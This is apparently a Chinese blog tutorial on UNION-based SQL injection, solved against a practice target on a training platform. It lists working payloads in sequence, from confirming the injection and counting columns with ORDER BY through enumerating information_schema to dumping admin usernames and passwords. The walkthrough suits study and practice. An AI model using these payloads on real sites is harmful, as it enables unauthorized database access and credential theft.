sql注入之union注入

发布于:2024-12-19 ⋅ 阅读:(13) ⋅ 点赞:(0)

Sql注入之union注入攻击

今天讲讲sql注入攻击流程

事先声明,本文仅仅作为学习使用,因个人原因导致的后果,皆与本人无关,后果由个人承担。

本次演示靶机为封神台里的题目,具体连接如下

https://hack.zkaq.cn/battle/target?id=485e58d0afa7e4f7

那么话不多说,开始今天的讲解。今天主要讲sql注入中的union注入

对于一个网站,首先对于sql注入先验证是字符型注入还是数字型注入,

从以上两张图看出,我们将id=1改为id=1‘,页面出错,可以判断这个是数字型注入。对于字符型和数字型可以用这个方法判断

接下来使用id=1 and 1=1测试

以及使用id=1 and 1=2测试

这里发现1=1输出正常,而是用1=2页面报错,初步判断存漏洞

接下来使用order by

id=1 and 1=1 order by 1

id=1 and 1=1 order by 2

id=1 and 1=1 order by 3

可以看到order by 3 时网页出错,初步判断存在2个传参点

结合上面1=2存在漏洞,开始找漏洞

接下来使用union参数(从这里开始才是真正的union注入)

Id=1 and 1=2 union select1,2

网页输出2,所以我们对2处更改查找数据库

id=1 and 1=2 union select 1,database()

此处括号容易漏掉,本人操作时也经常漏掉,希望大家在以后的测试中不要忘记

接下来构造?id=1 and 1=2 union select 1, table_name from information_schema.tables where table_schema=database() limit 0,1

网页显示admin

接下来构造?id=1 and 1=2 union select 1, column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1

这两句是union注入中较为重要的句子,大家在练习的时候建议敲一遍而不是复制粘贴,两句其实还挺像的,我把两句中的不同的地方标出来,方便大家记忆

将上述句子limit 0,1 更改为limit 1,1

再更改为limit 2,1

可知admin分为id,username,password

如果不确定的话可以改为limit 3,1试一下

接下来就是数据库信息了

使用如下句子:

?id=1 and 1=2 union select 1,username from admin  limit 0,1

将limit0,1改为1,1

查找密码

?id=1 and 1=2 union select 1,password from admin  limit 0,1

Limit0,1更改为1,1

到这里我们的sql注入的union注入就结束了,大家可以到官网上去看一下,也有解题思路,我这篇文章就是借鉴他的解题思路和过程。

最后声明,任何因个人原因导致的后果,皆有个人承担。